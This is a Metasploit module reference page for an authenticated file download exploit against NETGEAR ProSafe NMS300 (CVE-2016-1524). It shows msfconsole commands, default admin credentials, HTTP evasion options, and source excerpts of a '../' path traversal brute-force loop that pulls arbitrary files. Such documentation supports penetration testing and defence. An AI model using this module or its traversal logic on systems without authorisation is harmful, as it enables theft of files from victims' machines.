NETGEAR ProSafe Network Management System 300 Authenticated File Download - Metasploit

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Module Overview

Module Ranking and Traits
Basic Usage
Required Options

Msfconsole Usage

Module Options
Advanced Options
Auxiliary Actions
Evasion Options

Error Messages
Related Pull Requests
References
See Also
Authors
Version

Module Overview

Name: NETGEAR ProSafe Network Management System 300 Authenticated File Download
Module: auxiliary/admin/http/netgear_auth_download
Source code: modules/auxiliary/admin/http/netgear_auth_download.rb
Disclosure date: 2016-02-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-1524

Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file download vulnerability that can be exploited by an authenticated remote attacker to download any file in the system. This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/netgear_auth_download
msf auxiliary(netgear_auth_download) > show targets
    ... a list of targets ...
msf auxiliary(netgear_auth_download) > set TARGET target-id
msf auxiliary(netgear_auth_download) > show options
    ... show and set options ...
msf auxiliary(netgear_auth_download) > exploit

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/http/netgear_auth_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/netgear_auth_download

msf6 auxiliary(admin/http/netgear_auth_download) > show info

       Name: NETGEAR ProSafe Network Management System 300 Authenticated File Download
     Module: auxiliary/admin/http/netgear_auth_download
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-02-04

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting             Required  Description
  ----       ---------------             --------  -----------
  FILEPATH   /Windows/System32/calc.exe  no        Path of the file to download minus the drive letter
  PASSWORD   admin                       yes       Password for the specified username
  Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080                        yes       The target port (TCP)
  SSL        false                       no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                           yes       Application path
  USERNAME   admin                       yes       The username to login as
  VHOST                                  no        HTTP server virtual host

Description:
  Netgear's ProSafe NMS300 is a network management utility that runs 
  on Windows systems. The application has a file download 
  vulnerability that can be exploited by an authenticated remote 
  attacker to download any file in the system. This module has been 
  tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-1524
  https://www.kb.cert.org/vuls/id/777024
  https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt
  https://seclists.org/fulldisclosure/2016/Feb/30

Module Options

This is a complete list of options available in the admin/http/netgear_auth_download auxiliary module:

msf6 auxiliary(admin/http/netgear_auth_download) > show options

Module options (auxiliary/admin/http/netgear_auth_download):

   Name       Current Setting             Required  Description
   ----       ---------------             --------  -----------
   FILEPATH   /Windows/System32/calc.exe  no        Path of the file to download minus the drive letter
   PASSWORD   admin                       yes       Password for the specified username
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                        yes       The target port (TCP)
   SSL        false                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                           yes       Application path
   USERNAME   admin                       yes       The username to login as
   VHOST                                  no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/netgear_auth_download auxiliary module:

msf6 auxiliary(admin/http/netgear_auth_download) > show advanced

Module advanced options (auxiliary/admin/http/netgear_auth_download):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DEPTH                 15                                                  no        Max depth to traverse
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/netgear_auth_download module can do:

msf6 auxiliary(admin/http/netgear_auth_download) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/netgear_auth_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/netgear_auth_download) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

<PEER> - Could not connect.
<PEER> - Failed to log in with the provided credentials.
<PEER> - Please supply the path of the file you want to download.
<PEER> - File not found, using bruteforce to attempt to download the file
<PEER> - Failed to download file.

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Could not connect.

Here is a relevant code snippet related to the "<PEER> - Could not connect." error message:

126:	          })
127:	        end
128:	      end
129:	      return nil
130:	    rescue Rex::ConnectionRefused
131:	      print_error("#{peer} - Could not connect.")
132:	      return
133:	    end
134:	  end
135:	
136:

<PEER> - Failed to log in with the provided credentials.

Here is a relevant code snippet related to the "<PEER> - Failed to log in with the provided credentials." error message:

149:	  end
150:	
151:	  def run
152:	    cookie = authenticate
153:	    if cookie == nil
154:	      fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
155:	    else
156:	      print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
157:	      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
158:	    end
159:

<PEER> - Please supply the path of the file you want to download.

Here is a relevant code snippet related to the "<PEER> - Please supply the path of the file you want to download." error message:

156:	      print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
157:	      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
158:	    end
159:	
160:	    if datastore['FILEPATH'].blank?
161:	      fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
162:	      return
163:	    end
164:	
165:	    filepath = datastore['FILEPATH']
166:	    res = download_file(filepath, cookie)

<PEER> - File not found, using bruteforce to attempt to download the file

Here is a relevant code snippet related to the "<PEER> - File not found, using bruteforce to attempt to download the file" error message:

169:	        save_file(res.body)
170:	        return
171:	      end
172:	    end
173:	
174:	    print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
175:	    count = 1
176:	    while count < datastore['DEPTH']
177:	      res = download_file(("../" * count).chomp('/') + filepath, cookie)
178:	      if res && res.code == 200
179:	        if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)

<PEER> - Failed to download file.

Here is a relevant code snippet related to the "<PEER> - Failed to download file." error message:

179:	        if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
180:	          save_file(res.body)
181:	          return
182:	        end
183:	      end
184:	      count += 1
185:	    end
186:	
187:	    print_error("#{peer} - Failed to download file.")
188:	  end
189:	end

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References

Authors

Pedro Ribeiro <pedrib[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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NETGEAR ProSafe Network Management System 300 Authenticated File Download - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

<PEER> - Could not connect.

<PEER> - Failed to log in with the provided credentials.

<PEER> - Please supply the path of the file you want to download.

<PEER> - File not found, using bruteforce to attempt to download the file

<PEER> - Failed to download file.

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NETGEAR ProSafe Network Management System 300 Authenticated File Download - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

<PEER> - Could not connect.

<PEER> - Failed to log in with the provided credentials.

<PEER> - Please supply the path of the file you want to download.

<PEER> - File not found, using bruteforce to attempt to download the file

<PEER> - Failed to download file.

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References

See Also

Authors

Version